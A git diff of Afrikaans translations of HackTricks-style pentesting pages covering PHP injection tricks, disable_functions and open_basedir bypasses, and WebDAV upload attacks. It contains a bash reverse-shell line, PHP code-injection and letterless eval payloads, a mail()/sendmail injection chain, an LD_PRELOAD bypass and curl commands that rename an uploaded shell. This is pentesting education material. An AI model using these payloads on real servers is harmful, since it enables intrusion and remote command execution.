wanneer dit van die web aangeroep word, aangesien die ars array nie gevul sal wees nie. Daarom, as 'n webblad probeer om te kontroleer of dit as 'n web of as 'n CLI hulpmiddel loop met 'n vergelyking soos `if (empty($_SERVER['argv'])) {` kan 'n aanvaller **parameters in die GET versoek soos `?--configPath=/lalala` stuur** en dit sal dink dit loop as CLI en potensieel daardie argumente ontleed en gebruik. Meer info in die [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). - [**LFI en RCE met php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -175,7 +175,7 @@ True #### Fout veroorsaak na instel van headers -Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kan jy sien dat die sending van meer as 1000 GET params of 1000 POST params of 20 lĂȘers, PHP nie headers in die antwoord gaan instel nie. +Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kan jy sien dat wanneer meer as 1000 GET params of 1000 POST params of 20 lĂȘers gestuur word, PHP nie headers in die antwoord gaan instel nie. Dit laat toe om byvoorbeeld CSP headers te omseil wat in kodes soos: ```php @@ -185,8 +185,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### Vul 'n liggaam in voordat jy koptekste stel -As 'n **PHP-bladsy foute druk en sommige invoer wat deur die gebruiker verskaf is, teruggee**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud wat lank genoeg is** te druk sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\ -In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **kopinligting te wysig, kon dit nie** (soos byvoorbeeld die CSP-kop nie aan die gebruiker gestuur is nie): +As 'n **PHP-bladsy foute druk en terugvoer gee van insette wat deur die gebruiker verskaf is**, kan die gebruiker die PHP-bediener laat terugdruk van **inhoud wat lank genoeg is** sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\ +In die volgende scenario het die **aanvaller die bediener laat 'n paar groot foute gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **kopinligting te wysig, kon dit nie** (soos byvoorbeeld die CSP-kop nie aan die gebruiker gestuur is nie): ![](<../../../images/image (1085).png>) @@ -229,7 +229,7 @@ Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is uit ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -U sal die **kode** **syntaksis** moet **breek**, u **payload** moet **byvoeg** en dit dan weer **regmaak**. U kan **logika-operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" werk nie omdat ons payload nie uitgevoer sal word nie. +U sal die **kode** **syntaksis** moet **breek**, u **payload** **byvoeg**, en dit dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Dieselfde geld; ";" werk nie, want ons payload sal nie uitgevoer word nie. **Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'` @@ -268,19 +268,19 @@ Om die aantal hakies wat u moet sluit te ontdek: ### **RCE via .httaccess** -As u 'n **.htaccess** kan **oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lĂȘers met die uitbreiding .htaccess kan **uitgevoer** word). +As u **'n .htaccess kan oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lĂȘers met die uitbreiding .htaccess **uitgevoer** kan word). Verskillende .htaccess shells kan [hier](https://github.com/wireghoul/htshells) gevind word. ### RCE via Env Variabeles -As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **wysig** (en nog een om lĂȘers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om **RCE** te verkry. +As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP te wysig** (en nog een om lĂȘers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om **RCE** te verkry. -- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hierdie omgewingsvariabele laat u toe om arbitrĂȘre biblioteke te laai wanneer u ander binĂȘre uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie). -- **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasielĂȘer te vind**, wat gewoonlik `php.ini` genoem word. As u u eie konfigurasielĂȘer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lĂȘer spesifiseer. Hierdie tweede lĂȘer bevat normale **PHP kode, wat dan** deur die PHP runtime uitgevoer word voordat enige ander kode. +- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hierdie omgewingsvariabele laat u toe om arbitrĂȘre biblioteke te laai wanneer u ander binaire uitvoer (alhoewel dit in hierdie geval dalk nie werk nie). +- **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasielĂȘer te vind**, wat gewoonlik `php.ini` genoem word. As u u eie konfigurasielĂȘer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lĂȘer spesifiseer. Hierdie tweede lĂȘer bevat normale **PHP kode, wat dan** deur die PHP-runtime uitgevoer word voordat enige ander kode. 1. Laai 'n PHP-lĂȘer op wat ons shellcode bevat. -2. Laai 'n tweede lĂȘer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP voorverwerker instrueer om die lĂȘer wat ons in stap 1 opgelaai het, uit te voer. -3. Stel die `PHPRC` variabele in op die lĂȘer wat ons in stap 2 opgelaai het. +2. Laai 'n tweede lĂȘer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP-voorverwerker instrueer om die lĂȘer wat ons in stap 1 opgelaai het, uit te voer. +3. Stel die `PHPRC`-variabele in op die lĂȘer wat ons in stap 2 opgelaai het. - Kry meer inligting oor hoe om hierdie ketting uit te voer [**uit die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). - **PHPRC** - 'n ander opsie. - As u **nie lĂȘers kan oplaai nie**, kan u in FreeBSD die "lĂȘer" `/dev/fd/0` gebruik wat die **`stdin`** bevat, wat die **liggaam** van die versoek is wat na die `stdin` gestuur is: @@ -325,7 +325,7 @@ exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` -As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking inskakel in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2` +As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking aktief maak in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2` ### Deobfuskerende PHP-kode @@ -335,7 +335,7 @@ Jy kan die **web**[ **www.unphp.net**](http://www.unphp.net) **gebruik om php-ko PHP Wrappers en protokolle kan jou toelaat om **skrywe en lees beskermings** in 'n stelsel te omseil en dit te kompromitteer. Vir [**meer inligting, kyk na hierdie bladsy**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). -## Xdebug ongeverifieerde RCE +## Xdebug nie-geauthentiseerde RCE As jy sien dat **Xdebug** **geaktiveer** is in 'n `phpconfig()` uitvoer, moet jy probeer om RCE te verkry via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) @@ -353,7 +353,7 @@ echo "$x ${Da}"; //Da Drums ``` ## RCE wat nuwe $\_GET\["a"]\($\_GET\["b") misbruik -As jy op 'n bladsy **n nuwe objek van 'n arbitrĂȘre klas** kan **skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe: +As jy op 'n bladsy **'n nuwe objek van 'n arbitrĂȘre klas kan skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -383,14 +383,14 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -So, as jy kan **arbitraire PHP uitvoer sonder nommers en letters** kan jy 'n versoek stuur soos die volgende wat daardie payload misbruik om arbitraire PHP uit te voer: +So, as jy **arbitraire PHP kan uitvoer sonder nommers en letters** kan jy 'n versoek soos die volgende stuur wat daardie payload misbruik om arbitraire PHP uit te voer: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); ``` -Vir 'n meer diepgaande verduideliking, kyk [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) +Vir 'n meer diepgaande verduideliking, kyk na [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) ### XOR Shellcode (binne eval) ```bash diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index 0420b756b..77525aca0 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -12,23 +12,23 @@ ```bash echo exec("uname -a"); ``` -**passthru** - Gee die opdragte se uitvoer direk aan die blaaier deur +**passthru** - Stuur die opdragte se uitvoer direk na die blaaier ```bash echo passthru("uname -a"); ``` -**stelsel** - Gee die opdragte se uitvoer direk aan die blaaiert en keer die laaste lyn terug +**stelsel** - Stuur opdragte se uitvoer direk na die blaaier en gee die laaste lyn terug ```bash echo system("uname -a"); ``` -**shell_exec** - Gee die opdrag se uitvoer terug +**shell_exec** - Gee die opdragte se uitvoer terug ```bash echo shell_exec("uname -a"); ``` -\`\` (backticks) - Dieselfde as shell_exec() +\`\` (backticks) - Dies is diesde as shell_exec() ```bash echo `uname -a` ``` -**popen** - Maak 'n lees- of skryfpyp na 'n proses van 'n opdrag oop +**popen** - Maak 'n lees- of skryfpyp na die proses van 'n opdrag oop ```bash echo fread(popen("/bin/ls /", "r"), 4096); ``` @@ -44,7 +44,7 @@ proc_close(proc_open("uname -a",array(),$something)); ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` -**mail / mb_send_mail** - Hierdie funksie word gebruik om e-posse te stuur, maar dit kan ook misbruik word om arbitrĂȘre opdragte binne die `$options` parameter in te spuit. Dit is omdat die **php `mail` funksie** gewoonlik die `sendmail` binĂȘre binne die stelsel aanroep en dit jou toelaat om **bykomende opsies** in te voeg. Jy sal egter nie die uitvoer van die uitgevoerde opdrag kan sien nie, so dit word aanbeveel om 'n shell-skrip te skep wat die uitvoer na 'n lĂȘer skryf, dit met mail uit te voer, en die uitvoer te druk: +**mail / mb_send_mail** - Hierdie funksie word gebruik om e-posse te stuur, maar dit kan ook misbruik word om arbitrĂȘre opdragte binne die `$options` parameter in te spuit. Dit is omdat die **php `mail` funksie** gewoonlik die `sendmail` binĂȘre binne die stelsel aanroep en dit jou toelaat om **addisionele opsies** in te voeg. Jy sal egter nie die uitvoer van die uitgevoerde opdrag kan sien nie, so dit word aanbeveel om 'n shell-skrip te skep wat die uitvoer na 'n lĂȘer skryf, dit met mail uit te voer, en die uitvoer te druk: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` @@ -108,19 +108,19 @@ echo "{$f}
"; } ``` **Nota1**: In die pad kan jy ook `/e??/*` gebruik om `/etc/*` en enige ander gids te lys.\ -**Nota2**: Dit lyk of 'n deel van die kode gedupliseer is, maar dit is eintlik nodig!\ +**Nota2**: Dit lyk asof 'n deel van die kode gedupliseer is, maar dit is eintlik nodig!\ **Nota3**: Hierdie voorbeeld is slegs nuttig om gidse te lys, nie om lĂȘers te lees nie. -### Volledige open_basedir omseiling deur FastCGI +### Volledige open_basedir omseiling deur FastCGI te misbruik -As jy **meer oor PHP-FPM en FastCGI wil leer** kan jy die [eerste afdeling van hierdie bladsy](disable_functions-bypass-php-fpm-fastcgi.md) lees.\ +As jy **meer oor PHP-FPM en FastCGI wil leer** kan jy die [eerste gedeelte van hierdie bladsy](disable_functions-bypass-php-fpm-fastcgi.md) lees.\ As **`php-fpm`** geconfigureer is, kan jy dit misbruik om **open_basedir** heeltemal te omseil: ![](<../../../../images/image (545).png>) ![](<../../../../images/image (577).png>) -Let daarop dat die eerste ding wat jy moet doen is om te vind waar die **unix socket van php-fpm** is. Dit is gewoonlik onder `/var/run`, so jy kan **die vorige kode gebruik om die gids te lys en dit te vind**.\ +Let daarop dat die eerste ding wat jy moet doen is om te vind waar die **unix socket van php-fpm** is. Dit was gewoonlik onder `/var/run`, so jy kan **die vorige kode gebruik om die gids te lys en dit te vind**.\ Kode van [hier](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy). ```php [!WARNING] -> Jy mag dalk dink dat net soos ons die `open_basedir` konfigurasie oorgeskryf het, ons ook **`disable_functions`** kan **oorgeskryf**. Wel, probeer dit, maar dit sal nie werk nie, blykbaar kan **`disable_functions` slegs in 'n `.ini` php** konfigurasielĂȘer gekonfigureer word en die veranderinge wat jy met PHP_VALUE maak, sal nie effektief wees op hierdie spesifieke instelling nie. +> Jy mag dalk dink dat net soos ons die `open_basedir` konfigurasie oorgeskryf het, ons ook **`disable_functions`** kan **oorgeskryf**. Wel, probeer dit, maar dit sal nie werk nie, blykbaar kan **`disable_functions` slegs in 'n `.ini` php** konfigurasie lĂȘer geconfigureer word en die veranderinge wat jy met PHP_VALUE maak, sal nie effektief wees op hierdie spesifieke instelling nie. ## disable_functions Bypass -As jy daarin slaag om PHP kode binne 'n masjien uit te voer, wil jy waarskynlik na die volgende vlak gaan en **arbitrĂȘre stelselinstruksies uitvoer**. In hierdie situasie is dit gewoonlik om te ontdek dat die meeste of al die PHP **funksies** wat toelaat om **stelselinstruksies uit te voer, gedeaktiveer is** in **`disable_functions`.**\ +As jy daarin slaag om PHP kode binne 'n masjien uit te voer, wil jy waarskynlik na die volgende vlak gaan en **arbitrĂȘre stelselskommando's uitvoer**. In hierdie situasie is dit gewoonlik om te ontdek dat die meeste of al die PHP **funksies** wat toelaat om **stelselskommando's uit te voer, gedeaktiveer is** in **`disable_functions`.**\ Kom ons kyk hoe jy hierdie beperking kan omseil (as jy kan). ### Outomatiese omseiling ontdekking -Jy kan die hulpmiddel [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) gebruik en dit sal jou aandui watter funksie (indien enige) jy kan gebruik om **`disable_functions`** te **omseil**. +Jy kan die hulpmiddel [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) gebruik en dit sal jou aandui watter funksie (indien enige) jy kan gebruik om **te omseil** **`disable_functions`**. -### Omseiling met ander stelselfunksies +### Omseiling met ander stelselsfunksies -Keer net terug na die begin van hierdie bladsy en **kyk of enige van die funksies wat opdragte uitvoer nie gedeaktiveer is en beskikbaar is in die omgewing nie**. As jy net 1 van hulle vind, sal jy dit kan gebruik om arbitrĂȘre stelselinstruksies uit te voer. +Keer net terug na die begin van hierdie bladsy en **kyk of enige van die kommando-uitvoerende funksies nie gedeaktiveer en beskikbaar in die omgewing is nie**. As jy net 1 van hulle vind, sal jy dit kan gebruik om arbitrĂȘre stelselskommando's uit te voer. ### LD_PRELOAD omseiling -Dit is goed bekend dat sommige funksies in PHP soos `mail()` gaan **binaries binne die stelsel uitvoer**. Daarom kan jy hulle misbruik deur die omgewing veranderlike `LD_PRELOAD` te gebruik om hulle 'n arbitrĂȘre biblioteek te laat laai wat enigiets kan uitvoer. +Dit is goed bekend dat sommige funksies in PHP soos `mail()` gaan **binaries binne die stelsel uitvoer**. Daarom kan jy hulle misbruik deur die omgewingsvariabele `LD_PRELOAD` te gebruik om hulle 'n arbitrĂȘre biblioteek te laat laai wat enigiets kan uitvoer. #### Funksies wat gebruik kan word om disable_functions met LD_PRELOAD te omseil @@ -503,12 +503,12 @@ Dit is goed bekend dat sommige funksies in PHP soos `mail()` gaan **binaries bin - **`mb_send_mail`**: Effektief wanneer die `php-mbstring` module geĂŻnstalleer is. - **`imap_mail`**: Werk as die `php-imap` module teenwoordig is. - **`libvirt_connect`**: Vereis die `php-libvirt-php` module. -- **`gnupg_init`**: Gebruikbaar met die `php-gnupg` module geĂŻnstalleer. +- **`gnupg_init`**: Bruikbaar met die `php-gnupg` module geĂŻnstalleer. - **`new imagick()`**: Hierdie klas kan misbruik word om beperkings te omseil. Gedetailleerde uitbuitings tegnieke kan gevind word in 'n omvattende [**skrywe hier**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/). Jy kan [**hier vind**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) die fuzzing skrip wat gebruik is om daardie funksies te vind. -Hier is 'n biblioteek wat jy kan saamstel om die `LD_PRELOAD` omgewing veranderlike te misbruik: +Hier is 'n biblioteek wat jy kan saamstel om die `LD_PRELOAD` omgewingsvariabele te misbruik: ```php #include #include @@ -523,11 +523,11 @@ return 1; ``` #### Bypass using Chankro -Om hierdie miskonfigurasie te misbruik, kan jy [**Chankro**](https://github.com/TarlogicSecurity/Chankro) gebruik. Dit is 'n hulpmiddel wat 'n **PHP exploit** sal genereer wat jy na die kwesbare bediener moet oplaai en uitvoer (toegang dit via web).\ -**Chankro** sal binne die slagoffer se skyf die **biblioteek en die omgekeerde skulp** wat jy wil uitvoer, skryf en die\*\*`LD_PRELOAD` truuk + PHP `mail()`\*\* funksie gebruik om die omgekeerde skulp uit te voer. +Om hierdie miskonfigurasie te misbruik, kan jy [**Chankro**](https://github.com/TarlogicSecurity/Chankro) gebruik. Dit is 'n hulpmiddel wat 'n **PHP exploit** sal **genereer** wat jy na die kwesbare bediener moet oplaai en uitvoer (toegang dit via web).\ +**Chankro** sal binne die slagoffer se skyf die **biblioteek en die omgekeerde skulp** wat jy wil uitvoer, skryf en sal die **`LD_PRELOAD` truuk + PHP `mail()`** funksie gebruik om die omgekeerde skulp uit te voer. -Let daarop dat om **Chankro** te gebruik, `mail` en `putenv` **nie in die `disable_functions` lys mag verskyn nie**.\ -In die volgende voorbeeld kan jy sien hoe om 'n **chankro exploit** te **skep** vir **arch 64**, wat `whoami` sal uitvoer en die uitset in _/tmp/chankro_shell.out_ sal stoor, chankro sal **die biblioteek en die payload** in _/tmp_ skryf en die **finale exploit** gaan **bicho.php** genoem word (dit is die lĂȘer wat jy na die slagoffer se bediener moet oplaai): +Let daarop dat om **Chankro** te gebruik, `mail` en `putenv` **nie in die `disable_functions` lys** mag verskyn nie.\ +In die volgende voorbeeld kan jy sien hoe om 'n **chankro exploit** te **skep** vir **arch 64**, wat `whoami` sal uitvoer en die uitset in _/tmp/chankro_shell.out_ sal stoor, chankro sal die **biblioteek en die payload** in _/tmp_ skryf en die **finale exploit** gaan **bicho.php** genoem word (dit is die lĂȘer wat jy na die slagoffer se bediener moet oplaai): {{#tabs}} {{#tab name="shell.sh"}} @@ -551,13 +551,13 @@ Meer inligting oor hierdie tegniek en Chankro hier: [https://www.tarlogic.com/en Let daarop dat jy met **PHP** **lĂȘers kan lees en skryf, directories kan skep en toestemmings kan verander**.\ Jy kan selfs **databasisse dump**.\ -Miskien kan jy met **PHP** om die boks te **enumerate** 'n manier vind om voorregte te verhoog/opdragte uit te voer (byvoorbeeld om 'n private ssh-sleutel te lees). +Miskien kan jy met **PHP** die boks **enumerate** en 'n manier vind om voorregte te verhoog/opdragte uit te voer (byvoorbeeld om 'n private ssh-sleutel te lees). Ek het 'n webshell geskep wat dit baie maklik maak om hierdie aksies uit te voer (let daarop dat die meeste webshells jou ook hierdie opsies sal bied): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) ### Modules/Weergawe afhanklike bypasses -Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module gebruik word of om 'n spesifieke PHP weergawe te exploiteer: +Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module gebruik word of om 'n spesifieke PHP weergawe te benut: - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md) - [**Bypass met FFI - Foreign Function Interface geaktiveer**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) @@ -565,7 +565,7 @@ Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module - [**mod_cgi**](disable_functions-bypass-mod_cgi.md) - [**PHP Perl Extension Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) - [**dl funksie**](disable_functions-bypass-dl-function.md) -- [**Hierdie exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) +- [**Hierdie eksploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) - 5.\* - exploitable met klein veranderinge aan die PoC - 7.0 - alle weergawes tot op hede - 7.1 - alle weergawes tot op hede @@ -573,7 +573,7 @@ Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module - 7.3 - alle weergawes tot op hede - 7.4 - alle weergawes tot op hede - 8.0 - alle weergawes tot op hede -- [**Van 7.0 tot 8.0 exploit (Unix slegs)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) +- [**Van 7.0 tot 8.0 eksploit (Unix slegs)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) - [**PHP 7.0=7.4 (\*nix)**](disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only) - [**Imagick 3.3.0 PHP >= 5.4**](disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) - [**PHP 5.x Shellsock**](disable_functions-php-5.x-shellshock-exploit.md) @@ -581,7 +581,7 @@ Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module - [**PHP <= 5.2.9 Windows**](disable_functions-bypass-php-less-than-5.2.9-on-windows.md) - [**PHP 5.2.4/5.2.5 cURL**](disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) - [**PHP 5.2.3 -Win32std**](disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) -- [**PHP 5.2 FOpen exploit**](disable_functions-bypass-php-5.2-fopen-exploit.md) +- [**PHP 5.2 FOpen eksploit**](disable_functions-bypass-php-5.2-fopen-exploit.md) - [**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) ### **Outomatiese Gereedskap** @@ -635,7 +635,7 @@ Hierdie funksies aanvaar 'n string parameter wat gebruik kan word om 'n funksie ``` ### Inligtingsontsluiting -Meeste van hierdie funksie-oproepe is nie sinkholes nie. Maar dit kan eerder 'n kwesbaarheid wees as enige van die data wat teruggestuur word, deur 'n aanvaller gesien kan word. As 'n aanvaller phpinfo() kan sien, is dit beslis 'n kwesbaarheid. +Meeste van hierdie funksie-oproepe is nie sinke nie. Maar dit kan eerder 'n kwesbaarheid wees as enige van die data wat teruggestuur word, deur 'n aanvaller gesien kan word. As 'n aanvaller phpinfo() kan sien, is dit beslis 'n kwesbaarheid. ```php phpinfo posix_mkfifo @@ -675,11 +675,11 @@ posix_setpgid posix_setsid posix_setuid ``` -### LĂȘerstelsel Funksies +### Filesystem Functions -Volgens RATS is alle lĂȘerstelsel funksies in php sleg. Sommige hiervan lyk nie baie nuttig vir die aanvaller nie. Ander is nuttiger as wat jy dalk dink. Byvoorbeeld, as allow_url_fopen=On is, kan 'n url as 'n lĂȘer pad gebruik word, so 'n oproep na copy($\_GET\['s'], $\_GET\['d']); kan gebruik word om 'n PHP-skrip enige plek op die stelsel op te laai. Ook, as 'n webwerf kwesbaar is vir 'n versoek wat via GET gestuur word, kan elkeen van daardie lĂȘerstelsel funksies misbruik word om 'n aanval na 'n ander gasheer deur jou bediener te kan lei. +Volgens RATS is al die filesystem funksies in php sleg. Sommige van hierdie lyk nie baie nuttig vir die aanvaller nie. Ander is nuttiger as wat jy dalk dink. Byvoorbeeld, as allow_url_fopen=On is, kan 'n url as 'n lĂȘer pad gebruik word, so 'n oproep na copy($\_GET\['s'], $\_GET\['d']); kan gebruik word om 'n PHP-skrip enige plek op die stelsel op te laai. Ook, as 'n webwerf kwesbaar is vir 'n versoek wat via GET gestuur word, kan elkeen van daardie filesystem funksies misbruik word om 'n aanval na 'n ander gasheer deur jou bediener te kanaleer. -**Oop lĂȘerstelsel handler** +**Open filesystem handler** ```php fopen tmpfile diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 480124671..ae4d575a8 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -Wanneer jy met 'n **HTTP-server met WebDav** geaktiveer werk, is dit moontlik om **lĂȘers te manipuleer** as jy die regte **akkrediteer** het, wat gewoonlik deur **HTTP Basic Authentication** geverifieer word. Om beheer oor so 'n bediener te verkry, behels dikwels die **oplaai en uitvoering van 'n webshell**. +Wanneer jy met 'n **HTTP-server met WebDav** geaktiveer werk, is dit moontlik om **lĂȘers te manipuleer** as jy die regte **bewyse** het, wat gewoonlik deur **HTTP Basic Authentication** geverifieer word. Om beheer oor so 'n bediener te verkry, behels dikwels die **oplaai en uitvoering van 'n webshell**. -Toegang tot die WebDav-bediener vereis tipies **geldige akkrediteer**, met [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) as 'n algemene metode om dit te verkry. +Toegang tot die WebDav-bediener vereis tipies **geldige bewysstukke**, met [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) as 'n algemene metode om dit te verkry. Om beperkings op lĂȘeroplaaie te oorkom, veral diĂ© wat die uitvoering van bediener-kant skripte voorkom, kan jy: - **Laai** lĂȘers met **uitvoerbare uitbreidings** direk op as dit nie beperk is nie. - **Hernoem** opgelaaide nie-uitvoerbare lĂȘers (soos .txt) na 'n uitvoerbare uitbreiding. -- **Kopieer** opgelaaide nie-uitvoerbare lĂȘers, terwyl jy hul uitbreiding verander na een wat uitvoerbaar is. +- **Kopieer** opgelaaide nie-uitvoerbare lĂȘers, en verander hul uitbreiding na een wat uitvoerbaar is. ## DavTest @@ -21,7 +21,7 @@ davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every ``` ![](<../../images/image (851).png>) -Dit beteken nie dat **.txt** en **.html uitbreidings uitgevoer word** nie. Dit beteken dat jy **toegang tot hierdie lĂȘers** kan kry deur die web. +Dit beteken nie dat **.txt** en **.html** uitbreidings uitgevoer word nie. Dit beteken dat jy **toegang tot hierdie lĂȘers** kan kry deur die web. ## Cadaver @@ -39,7 +39,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Kwetsbaarheid -Hierdie kwesbaarheid is baie interessant. Die **WebDav** laat **nie toe** om **lĂȘers** met die uitbreiding **.asp** te **laai** of te **hernoem** nie. Maar jy kan dit **omseil** deur aan die einde van die naam **";.txt"** by te voeg en die lĂȘer sal **uitgevoer** word asof dit 'n .asp-lĂȘer was (jy kan ook **".html" in plaas van ".txt" gebruik**, maar **MOET nie die ";" vergeet nie**). +Hierdie kwesbaarheid is baie interessant. Die **WebDav** laat **nie toe** om **lĂȘers** met die uitbreiding **.asp** te **laai** of te **hernoem** nie. Maar jy kan dit **omseil** deur aan die einde van die naam **";.txt"** by te voeg en die lĂȘer sal **uitgevoer** word asof dit 'n .asp-lĂȘer was (jy kan ook **".html" in plaas van ".txt" gebruik**, maar **VERGEET NIE die ";" nie**). Dan kan jy jou shell as 'n ".**txt" lĂȘer** **laai** en dit **kopieer/verskuif na 'n ".asp;.txt"** lĂȘer. Deur toegang tot daardie lĂȘer via die webbediener, sal dit **uitgevoer** word (cadaver sal sĂȘ dat die skuifaksie nie gewerk het nie, maar dit het). @@ -48,9 +48,9 @@ Dan kan jy jou shell as 'n ".**txt" lĂȘer** **laai** en dit **kopieer/verskuif n ## Post geloofsbriewe As die Webdav 'n Apache-bediener gebruik het, moet jy kyk na die geconfigureerde webwerwe in Apache. Gewoonlik:\ -\_**/etc/apache2/sites-enabled/000-default**_ +_**/etc/apache2/sites-enabled/000-default**_ -Binne dit kan jy iets soos vind: +Binne-in kan jy iets soos vind: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav @@ -65,13 +65,13 @@ Soos jy kan sien, is daar die lĂȘers met die geldige **credentials** vir die **w ``` /etc/apache2/users.password 